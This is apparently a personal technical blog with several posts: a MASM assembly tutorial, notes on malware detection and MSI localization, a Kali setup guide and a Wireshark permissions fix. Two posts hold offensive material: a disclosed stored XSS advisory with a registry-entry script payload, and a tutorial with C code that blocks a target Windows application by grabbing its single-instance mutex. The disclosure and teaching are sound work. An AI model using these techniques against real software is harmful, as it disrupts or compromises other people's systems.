Saturday, 7 October 2017

Programming MASM32 with windows32 SDK apis.

It has been quite a time I had posted anything. Hope to add more to the blog from hereon.

Today I will post as very simple and basic assembly language program to get an understanding of the basics. The assembler that we will be using is MASM (The Microsoft Assembler), one can download the setup from this site. MASM32 is library that provides you with a rich set of functions to make the life easier while writing in assembly language.

While writing this, I assume that you have at-least heard that, there is something called as "Assembly Programming" and the intel x86 architecture.

Software Prerequisites

Visual Studio 2005 or above.
MASM32

Code

Lets not waste time, We will directly jump to the code. I will explain each line of code in detail,

.386
.model flat, stdcall
option casemap : none

extrn MessageBoxA@16 : PROC
extrn ExitProcess@4 : PROC

.data
    Info db "This is a message box.", 0
    MyTitle db "Assembly prog.", 0

.code
begin:
    mov eax, 0
    push eax
    lea ebx, MyTitle
    push ebx
    lea ebx, Info
    push ebx
    push eax
    call MessageBoxA@16

    mov eax, 0
    push eax
    call ExitProcess@4
end begin
.386
.model flat, stdcall
option casemap : none

The above 3 lines are called as assembler directives.

.386
is pretty self explanatory, it is to inform the assembler the the below code is for x86 architecture. Other processor architecture is x64 which is not considered in this blog.

.model flat, stdcall
This directives tells the assembler that the function x86 calling convention to be used is stdcall. The x86 calling convention or the x86 function calling convention, are the rules that need to be followed when the function is called.
stdcall, had the following rules:
The function parameters should be pushed on stack from right to left, e.g. for function void func(int a, int b, int c), we will push c, the push b and the push a onto the stack.
Stack is cleaned by the callee, i.e. all the params pushed by the caller are poped by the callee. Caller should not do it.
Function return values are stored in EAX registers.

option casemap : none
All the symbol names are case in-sensitive. i.e MyTitle is different from mytitle is different from Mytitle and so on...

extern MessageBox@16
extern ExitProcess@4
We will see this at the end of the code explanation.

.data
This directive is to inform the assembler that the code that follows is the data part of the code. All the initialized and un-intialized data can be declared under this section.

Info db "This is a message box.", 0
MyTitle db "Assembly prog.", 0
Here we have declare 2 variables in data section, this is the info to be displayed on the MessageBox. `Info` is the on the message box, `MyTitle` is the title of the message box.

.code
To inform the assembler, that the code section starts here.

begin:
end begin:
This makes the assembler understand all the code within `begin` and `end begin` are the part of the `begin` routine.

Now we will call the MessageBoxA function, if we look at the prototype on MSDN, we see that it needs 4 parameters, please refer msdn for details
int WINAPI MessageBox(
  _In_opt_ HWND    hWnd,
  _In_opt_ LPCTSTR lpText,
  _In_opt_ LPCTSTR lpCaption,
  _In_     UINT    uType
);
We push the parameters from right to left, first we push uType 
mov eax, 0
push eax
We push 0, for the uType parameter. 0 stands for MB_OK, this shows the OK button
 
lea ebx,MyTitle
push ebx
Now we push the title on the stack. But note here the full title string is not copied to the stack, but, `lea ebx, MyTitle`, loads the effective address of MyTitle into ebx register. Then this effective address is pushed onto the stack.

lea ebx, Info
push ebx
Now we push the address of the `Info` onto the stack.

push eax
This is the hWnd parameter, we pass 0, i.e effectively NULL.

call MessageBoxA@16
We call the function's ASCII variant (UNICODE variant is also available, MessageBoxW). The @16 part is called as function decoration. Why 16, because MessageBoxA has 4 parameters each of size 4, hence 16. This will become more when we call ExitProcess function.

The above snippet shows the message box on the screen. Now we exit the process.

mov eax, 0
push eax
ExitProcess@4
We push the param for the function ExitProcess(), the only parameter is the exit code, we pass exit code as 0, that we have stored in eax register.

Now what is this,
extrn MessageBoxA@16 : PROC
extrn ExitProcess@4 : PROC
 
This is to inform the assembler that these 2 procedures are not present in the current code, but are present in some other library, that will be resolved while linking.
Save the above code in a file name "msgbox.asm"

Compiling & Linking

We will compile the code into coff (Common Object File Format) and link the create an executable.
It will be convenient to store the masm/bin path in the environment variable.
Open the visual studio command prompt for x86, set the path for MASM,
set PATH=%PATH%;C:\masm\bin\
cd to_path_of_msgbox.asm

Then compile the code msgbox.asm
ml /c /coff msgbox.asm
If all is ok, this will create a msgbox.obj file.

link /SubSystem:Windows /DefaultLib:kernel32.lib /DefaultLib:user32.lib msgbox.obj
The above command will link the .obj file to create an executable.
/SubSystem: Windows tells the linker that the code contains some UI part. There other subsystems as well, eg. console

/DefaultLib: Links the kernel32 and user32 to create our executable.

Now go ahead and run the created msgbox.exe file.

Warning

Found it here, sarcasm...
"Not for the faint of heart. If MASM is beyond you, take up server side scripting." 

Tuesday, 6 October 2015

IT security in near future

These are just thoughts that came to my mind. Being in the security industry for past 2 years, I've got to learn a lot about computer security.
There was a age when computer security was only confined to some sectors of government organizations. After internet flourished between the common people, viruses, bots etc(commonly termed as malware) become more prevalent. And now as the days pass on, the e-commerce has taken a good pace. Just imagine of how much of online transactions are carried on every day. Every bit and piece of information is being digitized. Attracting more and more looters to get in cyber crimes. This has tremendously increased the number of malware's in the market. And this is why, computer security applications entered the market.

--------------------------------------------------------------------------------------------
Signature based detection
--------------------------------------------------------------------------------------------

The very basic logic of finding a malware is to create a signature of a malware, and then use this signature to detect the malware.

What are signatures?
Signatures are basically the bit patters present in the files of the malware. These signatures are designed by the industry experts so wisely, such that it matches only the malware's binary file. You will find a lot of information pertaining to this on the web.

In-fact, today there are more than millions of malware's in the online market, may be even more. That means millions of signatures, and scanning each binary file on the machine against each signature, though this can be reduced by using some techniques, its a substantial count. This count will increase day by day as the new malware's are added to the detection list. How long can this be supported, is a difficult question to answer.
The very basic logic how these malware's infect a machine is by exploiting the vulnerabilities on the machine. Vulnerability in a software (can be operating system) is a security bug (flaw), that allows the malware to enter in the system and execute itself.

--------------------------------------------------------------------------------------------
Ingenious Techniques
--------------------------------------------------------------------------------------------

Vulnerability Scanning

This type of detection technique scans for the vulnerabilities present in the system. The users are educated about the various vulnerabilities present on the system. These type of scanners usually categorize the vulnerabilities on the basis of their risk. And also informs how to fix these vulnerabilities, if a fix (patch) is available.
The advantage of vulnerability scanning is that it helps the user to identify the flaws before the malware even finds your machine. However, the fix needs to be applied, only vulnerability scanner is no good. The updates that you usually get for any application not only contains new features, but also contains security patches, that fix the existing known vulnerabilities in the application.
Some scanners actually attack the system to detect the vulnerabilities, these innovative techniques sometimes find the flaws even before an attacker can find them. These vulnerability scanner range from desktop clients, mobile to network devices.

Vulnerabilities need to be fixed. 

Behavioral Based Detection

As most of the malware's are just designed to exploit the system for resources (data, processing power, storage etc), it has to do some task that is apart from the normal functioning of major applications. This makes it stand out from others. Security researchers found this as a novel technique to detect an existence of a malware on the system. eg. if a software other than the mail client is trying to send an email, its operations are blocked and the user is queried if the application sending the email is a legitimate application. If the user identifies it to be known application, it is allowed to proceed, else the application is terminated and stopped from getting executed in future.
The major advantage of this technique is that, its a very generic way of detection. Even a malware that is not yet known in the market can be stopped effectively.

You misbehave and you are thrown out.


As of today, the above 2 techniques seem to take over the IT security industry in the near future. As the malware writers bring in new techniques, the computer security industry is also emerging with new ways to defend it. And this is going to go on for ever and ever and ever.
I have just tried to touch some basic aspects of these techniques, so that they can be understood easily. Actually these topics are as big as, one can write huge reference books on each. These methods have been in the industry since a while, however, it might not totally replace the traditional signature based scanning, but will surely gain much more importance, in near future.

If you have any thoughts about this, surely add it into the comments.

Monday, 17 August 2015

Multilingual support in MSI, using ORCA tool.


I am writing this into a blog because, as usual this took a lot of time for me to get through. I am new to MSI, and started with the ORCA tool to edit it. Not one of the good tools to start with, as said on the web. I think understanding ORCA takes some time, but once you understand, you know the very basics of MSI.
Below i have discussed, how one can create MSI installers in languages that are not supported in visual studio by default.

------------------------------------------------------------------------------------------------
L O C A L I Z A T I O N
------------------------------------------------------------------------------------------------

What do i mean by localization of MSI

By default the MSI installer project in visual studio, builds the project in english. That is, all the strings displayed on the UI(User Interface) of the installer are in english language (English U.S.).

The term localization refers to the language used in the UI should be in the local language of the customer, or to be more precise, it should be in the same language as his operating system.
Example: If a arabic build of windows is installed, the strings in the UI should be in arabic. The people in france will see the strings in french. This adds more value to the product, in terms of ease in use.

The image is the snapshot of visual studio, that shows the localization setting in visual studio.
Actually visual studio itself supports some languages apart from english.

The Following is the list of languages supported by visual studio for a deployment project, i.e. msi project.



Lets get known to some tools that are used while creating a msi.

------------------------------------------------------------------------------------------------
T O O L S
------------------------------------------------------------------------------------------------

The ORCA tool:

ORCA is a very basic, but a usefull tool to edit the MSI tables. Almost all the information in the MSI is displayed in ORCA, in form of tables, Each table is described on MSDN, in detail over here.
Example: The file table lists all the files that are packaged in the MSI installer.
When the project is built, the default language is english.

MSI Language:

The ORCA tool can be used to edit the strings in the MSI installer. The Property table contains a row named ProductLanguage, that tells the language for which the MSI was built.

Code Page:
The code page setting is not shown in the ORCA tables, instead it is present in the menu bar. To change the code page of the current MSI file,

Tools->Code Page...
Set the new code page in the New Code Page text box.

Note:

1. If the code page of the installer is not changed, some unreadable characters will get displayed on the UI.
2. Each language requires its own transform file, generated from the MSI of the code page for that language
Eg: Transform file generated from language L, cannot be applied on MSI of any language, other than L.

wilangid.vbs

This script can be used to change the current language and the code page of the MSI file
More Info: https://msdn.microsoft.com/en-us/library/aa369791(v=vs.85).aspx

msitrans.exe

This tool can be used to apply the transform file generated from the ORCA tool.
More Info: https://msdn.microsoft.com/en-us/library/aa370495(v=vs.85).aspx

------------------------------------------------------------------------------------------------
A L G O R I T H M
------------------------------------------------------------------------------------------------

Create a MSI with localization value set to neutral.
For each a language ‘L’,
Change the code page of the MSI to CodePage(L), using orca/wilangid.vbs
Change the language of the MSI to language L, using orca/wilangid.vbs
Open the MSI in orca tool
Do the necessary string localization related changes,
Generate the base transform file T(L)

------------------------------------------------------------------------------------------------
A U T O M A T I O N
------------------------------------------------------------------------------------------------

Once the base transform files are created for each language.
Following steps can be used to create a MSI for language L.
Create a MSI with localization set to neutral.
Change the codepage using wilangid.vbs script.
Change the language to L using wilangid.vbs script.
Modify the transform file for L, if required.
Apply the T(L) on MSI

All of this process can be easily automated.

------------------------------------------------------------------------------------------------


Keep Exploring.. :)

Tuesday, 23 June 2015

Found XSS vulnerability in Manage Engine Asset Explorer v6.1.


Title:
===============
ManageEngine Asset Explorer v6.1 - XSS Vulnerability

CVE-ID:
====================================
CVE-2015-2169

CVSS:
====================================
3.5

Product & Service Introduction (Taken from their homepage):
====================================
ManageEngine AssetExplorer is a web-based IT Asset Management (ITAM) software that helps you monitor and manage assets in your network from Planning phase to Disposal phase. AssetExplorer provides you with a number of ways to ensure discovery of all the assets in your network. You can manage software & hardware assets, ensure software license compliance and track purchase orders & contracts - the whole nine yards! AssetExplorer is very easy to install and works right out of the box.
(Homepage: https://www.manageengine.com/products/asset-explorer/ )

Abstract Advisory Information:
==============================
Cross site scripting attack can be performed on the manage engine asset explorer. If the 'publisher' name contains vulnerable script, it gets executed in the browser.

Affected Products:
====================
Manage Engine
Product: Asset Explorer - Web Application 6.1.0 (Build 6112)

Severity Level:
====================
Medium

Technical Details & Description:
================================
  1. Add a vendor with a script in it to the registry.
  2. Login to the product.
  3. Scan the endpoint where the registry is modified.
  4. In the right pane, go to software->Scanned Software
  5. The script gets executed.
Vulnerable Product(s):
=======================
Manage Engine Asset Explorer

Affected Version(s):
=======================
Version 6.1.0 / Build Number 6112
(Earlier versions i did not test)

Vulnerability Type(s):
Persistent Cross Site Scripting

PoC:
=======================
Add the following registry entry in the machine, for targeted attack.

Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Fake_Software]
"DisplayName"="A fake software 2 installed"
"UninstallString"="C:\\Program Files\\fake\\uninst.exe"
"DisplayVersion"="0.500.20"
"URLInfoAbout"="http://www.dummy.org"
"Publisher"="<script> alert(\"XSS\"); </script>"


Security Risk:
==================
Medium.

Credits & Authors:
==================
Suraj Krishnaswami (suraj.krishnaswami@gmail.com)

Timeline:
==================
Discovered at Wed, March 3, 2015
Informed manage engine about the vulnerability: March 4, 2015
Case moved to development team: March 4, 2015
Asked for updates: March 9, 2015
Asked for updates: March 13, 2015
Asked for updates: April 14, 2015
Public Disclosure at Mon, June 22, 2015

Saturday, 8 November 2014

DOS attack on windows application using global objects for single instance check.

Usually applications use global object like mutex so that only single instance of their application runs at a time. The algorithm is as follows:

Step 1: Check if some one has acquired mutex "APP_BLOCKER"
Step 2: If Yes then Goto Step 6.
Step 3: Acquire the mutex.
Step 4: Application logic comes here.
Step 5: Release the mutex.
Step 6: Exit.

With this understanding now lets start the attack,
The first thing that we need to block the application is the name of the mutex.
If the name of the mutex is taken in the code itself, we can easily extract it.

"strings" tool can be used to extract all the printable characters from the file. The tool can be downloaded from here. Extract the tool to a folder.
Now on command line move to the directory where you extracted the file. Now on the command line run the following command.

strings "C:\FULL_PATH_TO_EXE\victim.exe" >> data.txt

Now open the file data.txt in a text editor, and try to find the string "Global\AnyTextCanComeHere"
This is the most crucial part, if you find such string, its good. Or else we will go into more detailed analysis of the binary. For now we will assume that we have found the mutex name.

Now, compile the following program in visual studio,

#include <stdio.h>
#include <windows.h>

#define GLOBAL_OBJECT_NAME L"Global\\AnyTextCanComeHere"

int main()
{
    HANDLE hMutex;

    hMutex = CreateMutex(NULL, FALSE, GLOBAL_OBJECT_NAME);
    if (NULL == hMutex)
    {
        printf("\nCreateMutex failed %d", GetLastError());

        getchar();
        return EXIT_FAILURE;
    }

    printf("\nCreateMutex done.");
    WaitForSingleObject(hMutex, INFINITE);
    printf("\nWait returned.");

    getchar();
    CloseHandle(hMutex);
}

and run the exe.
Now try to run the application, if we picked the correct mutex name, the application will not run.
The application tries to acquire the mutex, but our application has already acquired the mutex, hence the legitimate application terminates.

What if the application is not blocked:
There can be n number of reasons,
1. The name of the mutex that we selected is not used for single instance check.
2. The name we selected was correct but the code at runtime applies some logic to modify the name, and then uses it,
3. Perhaps the, developer has not used mutex but some other kernel object, eg, event.

Ultimately our goal is to get the specific kernel object created, and consume it.

Most of the application's today will apply some kind of obfuscation to hide the name of the kernel object.


Thanks And Regards,
Suraj K.

Friday, 7 November 2014

Installing terminator on Kali Linux

Hi folks, i just moved on to kali-linux from backtrack. Offline installation of drivers for the broadcom wireless card took a lot of time. However in this page i am writing about how to install terminator on kali-linux.

What is terminator?

Originally created and developed for a long time by Chris Jones, the goal of this project is to produce a useful tool for arranging terminals.

Terminator is pre-included in the backtrack intallation, however is not included in kali linux (1.0.9).
After a long search for how to install terminator on kali, i found the solution. Which i would like to document here.

The first thing that a debian user would do is apt-get, when i tried i got the following error.

# apt-get install terminator
Reading package lists... Done
Building dependency tree
Reading state information... Done
E: Unable to locate package terminator 
 
apt-get uses is a tool which is used to handle software installation and removal. It synchronizes the information about the latest softwares from the location mentioned in the configuration file /etc/apt/source.list

Hence the first thing we will do is update this source.list file.
With root privileges open this file, it should look something like follows

----------------------------------------------------------------------------------------------------------
U P D A T I N G  S O U R C E S
----------------------------------------------------------------------------------------------------------
surajk@kali:~/Desktop/terminator-0.97$ cat /etc/apt/sources.list
#
# deb cdrom:[Debian GNU/Linux 7.0 _Kali_ - Official Snapshot amd64
LIVE/INSTALL Binary 20140822-15:33]/ kali contrib main non-free
#deb cdrom:[Debian GNU/Linux 7.0 _Kali_ - Official Snapshot amd64
LIVE/INSTALL Binary 20140822-15:33]/ kali contrib main non-free
## Security updates
deb http://security.kali.org/kali-security kali/updates main contrib non-free 
  
Add the following line to the file:
deb http://http.kali.org/kali kali main 
 
Then run the command apt-get update
This command will update the required package information.

This may take some time.

root@kali:/home/surajk/Desktop/terminator-0.97# apt-get update
Hit http://http.kali.org kali Release.gpg
Hit http://security.kali.org kali/updates Release.gpg
Hit http://http.kali.org kali Release
Hit http://security.kali.org kali/updates Release
Get:1 http://http.kali.org kali/main amd64 Packages [8,450 kB]
Ign http://http.kali.org kali/main Translation-en_US
Ign http://http.kali.org kali/main Translation-en
Ign http://security.kali.org kali/updates/contrib Translation-en_US
Ign http://security.kali.org kali/updates/contrib Translation-en
Ign http://security.kali.org kali/updates/main Translation-en_US
Ign http://security.kali.org kali/updates/main Translation-en
Ign http://security.kali.org kali/updates/non-free Translation-en_US
Ign http://security.kali.org kali/updates/non-free Translation-en
Hit http://security.kali.org kali/updates/main amd64 Packages
...
Reading package lists... Done

----------------------------------------------------------------------------------------------------------
I N S T A L L I N G  T E R M I N A T O R
----------------------------------------------------------------------------------------------------------
Now run the command
apt-get install terminator

root@kali:/home/surajk/Desktop/terminator-0.97# apt-get install terminator
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following extra packages will be installed:
libart-2.0-2 libbonoboui2-0 libbonoboui2-common libgnomecanvas2-0
libgnomecanvas2-common libgnomeui-0 libgnomeui-common libkeybinder0 libvte-common
libvte9 python-gconf python-gnome2 python-keybinder python-pyorbit python-vte
Suggested packages:
python-gnome2-doc
The following NEW packages will be installed:
libart-2.0-2 libbonoboui2-0 libbonoboui2-common libgnomecanvas2-0
libgnomecanvas2-common libgnomeui-0 libgnomeui-common libkeybinder0 libvte-common
libvte9 python-gconf python-gnome2 python-keybinder python-pyorbit python-vte
terminator
0 upgraded, 16 newly installed, 0 to remove and 131 not upgraded.
Need to get 4,667 kB of archives.
After this operation, 16.6 MB of additional disk space will be used.
Do you want to continue [Y/n]? Y
Get:1 http://http.kali.org/kali/ kali/main libart-2.0-2 amd64 2.3.21-2 [72.7 kB]
Get:2 http://http.kali.org/kali/ kali/main libgnomecanvas2-common all 2.30.3-1.2 [133 kB]
......
...
..

Setting up libvte-common (1:0.28.2-5) ...
Setting up libvte9 (1:0.28.2-5) ...
Setting up python-gconf (2.28.1+dfsg-1) ...
Setting up python-pyorbit (2.24.0-6+b1) ...
Setting up python-gnome2 (2.28.1+dfsg-1) ...
Setting up python-keybinder (0.2.2-4) ...
Setting up python-vte (1:0.28.2-5) ...
Setting up terminator (0.95-1) ...
update-alternatives: using /usr/bin/terminator to provide /usr/bin/x-terminal-emulator (x-terminal-emulator) in auto mode
Processing triggers for python-support ...

This should start the installation of terminator and all required depended packages.
----------------------------------------------------------------------------------------------------------

Finding this out took a lot of time for me, hope this helps someone.
I am new to kali, and have come back after a long time to linux. Any comments, improvements or suggestions are appreciated.

Thursday, 23 October 2014

Access wireshark using under privileged user.

This was the first problem, probably from the series of the problems i will be facing.

Using wireshark from a non root user.
When i started wireshark from the terminal as a under privileged user i got the error, saying the interfaces are not accessible.

My normal reaction was to start wireshark as a root user.


Now i was able to see the interface's, however wireshark warned me saying it is not secure to run wireshark with root privileges.


After searching for a while i found the following solution.

From the terminal login to root:
surajk@bt:~$ su
Password:
root@bt:/home/surajk#

Now locate the dumpcap file:
root@bt:/home/surajk# locate dumpcap
/usr/local/bin/dumpcap
/usr/local/share/man/man1/dumpcap.1
/usr/local/share/wireshark/dumpcap.html

Now just enable the required capabilities using the following command:
root@bt:/home/surajk# setcap cap_net_raw,cap_net_admin=eip /usr/local/bin/dumpcap

The path of the dumpcap file is same as returned by the locate command.

Exit from the root login, and try starting wireshark.
This should solve your problem.

Some technical insight (Optional):

The capabilities allows dumpcap to do the following things.
CAP_NET_RAW
    * use RAW and PACKET sockets;
    * bind to any address for transparent proxying.

CAP_NET_ADMIN (Capabilities to perform various network-related operations):
    * interface configuration;
    * administration of IP firewall, masquerading, and accounting;
    * modify routing tables;
    * bind to any address for transparent proxying;
    * set type-of-service (TOS)
    * clear driver statistics;
    * set promiscuous mode;
    * enabling multicasting;


This article that nicely explains the procedure to solve this problem.
To know more about capabilities one can read this.